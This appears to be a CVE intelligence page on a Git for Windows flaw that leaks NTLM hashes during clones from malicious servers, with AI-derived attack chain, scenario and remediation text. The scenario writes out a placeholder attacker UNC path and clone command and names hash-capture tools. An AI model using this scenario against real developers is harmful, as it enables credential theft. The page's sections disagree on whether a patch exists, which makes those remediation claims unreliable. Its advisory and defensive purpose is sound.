Git
CVE-2025-66413
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconSocial engineer target developer
-
DeliverySend malicious repository URL
-
ExploitVictim clones repository
-
InstallGit processes UNC path reference
-
C2Windows initiates NTLM authentication
-
ExecuteAttacker captures credential hash
-
ImpactOffline password cracking
-
Step 8Access victim's Windows account
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Data exposure prevention
MITRE ATT&CK
2 techniques across 2 tactics: Collection, Discovery The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires the victim to execute a git clone, git fetch, or git pull command against a repository controlled or compromised by the attacker. The malicious repository must be configured to return Git references containing UNC paths that trigger NTLM authentication, which is a non-default server configuration requiring attacker setup. Vulnerability is specific to Git for Windows installations on Windows operating systems; Linux and macOS Git clients are not affected as they lack Windows NTLM automatic authentication behavior. Attack succeeds regardless of whether the victim has administrative privileges, as NTLM authentication occurs at the user level. Exploitation is limited by user interaction requirement (UI:R) - automated mass exploitation is not possible, and each compromise requires targeted social engineering to convince specific developers to clone from the malicious source. Network-level controls blocking outbound SMB traffic (TCP 445) or Group Policy restrictions on NTLM authentication to external servers can prevent exploitation even on unpatched systems. |
| Impact | CVSS 7.4 (High) reflects significant confidentiality impact (C:H) with changed scope (S:C), indicating credential theft affects resources beyond the vulnerable application. However, multiple factors moderate real-world risk: attack complexity is low (AC:L) but requires user interaction (UI:R) - victim must actively clone from attacker-controlled repository. EPSS probability of 0.03% (9th percentile) indicates this vulnerability pattern has very low observed exploitation rates in the wild, likely because it requires targeted social engineering rather than automated scanning. No CISA KEV listing and no public POC identified, suggesting exploitation remains theoretical or highly targeted. The attack is NOT automatable (requires convincing specific users to run git clone commands with malicious URLs), limiting scalability for mass exploitation. Primary risk is to organizations with Windows development environments where developers routinely clone from external repositories. Credential theft enables lateral movement and privilege escalation in Windows domains, elevating technical impact beyond the initial Git operation. Real-world priority depends on: (1) whether developers are trained to recognize suspicious repository URLs, (2) whether NTLM is disabled in favor of Kerberos, and (3) whether network segmentation limits damage from stolen credentials. Despite high CVSS, the UI:R requirement and low EPSS suggest this is elevated priority for high-security environments but not a critical-drop-everything patch for most organizations. |
| Exploit ScenarioDerived | An attacker sets up a malicious Git server that responds to clone requests with references containing UNC paths pointing to an attacker-controlled SMB server (e.g., \\attacker.com\share\repo). The attacker then uses social engineering (phishing email, fake open-source project, compromised documentation) to convince a Windows developer to execute 'git clone https://malicious-repo.com/project.git'. When Git for Windows processes the malicious references, Windows automatically attempts NTLM authentication to the attacker's SMB server, transmitting the user's hashed credentials. The attacker captures the NTLM hash using tools like Responder or Inveigh, then performs offline brute-force or relay attacks to recover the plaintext password. The stolen credentials enable the attacker to access the victim's Windows domain resources, email, VPN, or other enterprise systems. No public POC is confirmed, but the attack technique is well-documented in penetration testing literature. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Apr 21, 2026
Git for Windows versions prior to 2.53.0(2) leak NTLM credential hashes when users clone from malicious servers, enabling password cracking attacks. The vulnerability requires user interaction (cloning from attacker-controlled repository) but needs no authentication from the attacker. EPSS score of 0.03% suggests low probability of mass exploitation, and no evidence of active exploitation or public POC exists at time of analysis. However, the simplicity of the attack (social engineering a git clone operation) and the high confidentiality impact (user credential theft) make this a priority for Windows-based development environments.
Earlier versions of this analysis (1)
Git for Windows is the Windows port of Git. versions up to 2.53.0 is affected by information exposure (CVSS 7.4).
RemediationAI
Upgrade Git for Windows to version 2.53.0(2) or later immediately, available from the official release at https://github.com/git-for-windows/git/releases/tag/v2.53.0.windows.2. The patch prevents Git from automatically following UNC paths or SMB references that trigger NTLM authentication during clone operations. If immediate patching is not feasible, implement compensating controls: (1) Configure Windows Group Policy to disable NTLM authentication globally or restrict it to trusted servers only (EnableSecuritySignature and RestrictSendingNTLMTraffic policies), noting this may break legitimate SMB-based workflows. (2) Train developers to verify repository URLs before cloning and avoid cloning from untrusted sources or URLs containing UNC paths (backslash format or smb:// protocol). (3) Use Git credential managers with token-based authentication instead of Windows Integrated Authentication to prevent automatic credential transmission. (4) Monitor network traffic for outbound SMB connections (port 445) from developer workstations to unexpected external IPs, which may indicate exploitation attempts. Review the official security advisory at https://github.com/git-for-windows/git/security/advisories/GHSA-hv9c-4jm9-jh3x for additional context and detection guidance.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Git for Windows is the official Windows port of the Git version control system. This vulnerability exploits the Windows NTLM (NT LAN Manager) authentication protocol, which automatically attempts authentication when connecting to SMB shares or certain network resources. When Git for Windows processes a malicious repository URL or reference containing UNC paths (Universal Naming Convention paths pointing to SMB shares), Windows automatically initiates NTLM authentication, transmitting the user's hashed credentials to the attacker-controlled server. The underlying issue is classified as CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) because Git fails to sanitize or warn about network paths that trigger automatic credential transmission. NTLM uses weak cryptographic hashing (MD4-based for NTLMv1, challenge-response for NTLMv2) that is vulnerable to offline brute-force and rainbow table attacks, allowing attackers to recover plaintext passwords from captured hashes. The scope change (S:C) in the CVSS vector indicates the vulnerability affects resources beyond Git itself, specifically the Windows authentication subsystem and the user's domain or local account credentials.
Know when Git gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Git for Windows is the Windows port of Git. Prior to 2.53.0(2), it is possible to obtain a user's NTLM hash by tricking them into cloning from a malicious server. Since NTLM hashing is weak, it is possible for the attacker to brute-force the user's account name and password. This vulnerability is fixed in 2.53.0(2).
Executive ViewAI
Git for Windows versions before 2.53.0(2) expose NTLM credential hashes to malicious repository servers during clone operations, creating a credential theft risk for development teams. An attacker can harvest password hashes through social engineering without authentication, enabling offline cracking of user credentials and potential lateral movement within enterprise networks. Organizations with Windows-based developers are at immediate risk of credential compromise.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict git clone operations to approved internal repositories only via network egress controls or group policy; (2) Enforce multi-factor authentication for all developer accounts and critical systems to reduce lateral movement risk if credentials are compromised; (3) Deploy credential guard or similar OS-level protections to prevent NTLM hash extraction; (4) Conduct security awareness training on repository cloning risks and social engineering tactics; (5) Monitor for suspicious authentication patterns and implement credential spraying detection.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Affected Products (CPE)GitHub Advisory
A malicious third-party can give a crafted "ssh://..." URL to an unsuspecting victim, and an attempt to visit the URL ca
git-shell in git before 2.4.12, 2.5.x before 2.5.6, 2.6.x before 2.6.7, 2.7.x before 2.7.5, 2.8.x before 2.8.5, 2.9.x be
Git contains a CRLF injection vulnerability (CVE-2025-48384, CVSS 8.0) in its config handling that allows attackers to e
Git before 2.14.5, 2.15.x before 2.15.3, 2.16.x before 2.16.5, 2.17.x before 2.17.2, 2.18.x before 2.18.1, and 2.19.x be
The (1) git-remote-ext and (2) unspecified other remote helper programs in Git before 2.3.10, 2.4.x before 2.4.10, 2.5.x
Git is an open-source distributed revision control system. Rated high severity (CVSS 7.5), this vulnerability is remotel
Integer overflow in Git before 2.7.4 allows remote attackers to execute arbitrary code via a (1) long filename or (2) ma
The package git before 1.11.0 are vulnerable to Command Injection via git argument injection. Rated critical severity (C
revision.c in git before 2.7.4 uses an incorrect integer data type, which allows remote attackers to execute arbitrary c
contrib/completion/git-prompt.sh in Git before 1.9.3 does not sanitize branch names in the PS1 variable, allowing a mali
Arbitrary command execution is possible in Git before 2.20.2, 2.21.x before 2.21.1, 2.22.x before 2.22.2, 2.23.x before
In Git before 2.13.7, 2.14.x before 2.14.4, 2.15.x before 2.15.2, 2.16.x before 2.16.4, and 2.17.x before 2.17.1, remote
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB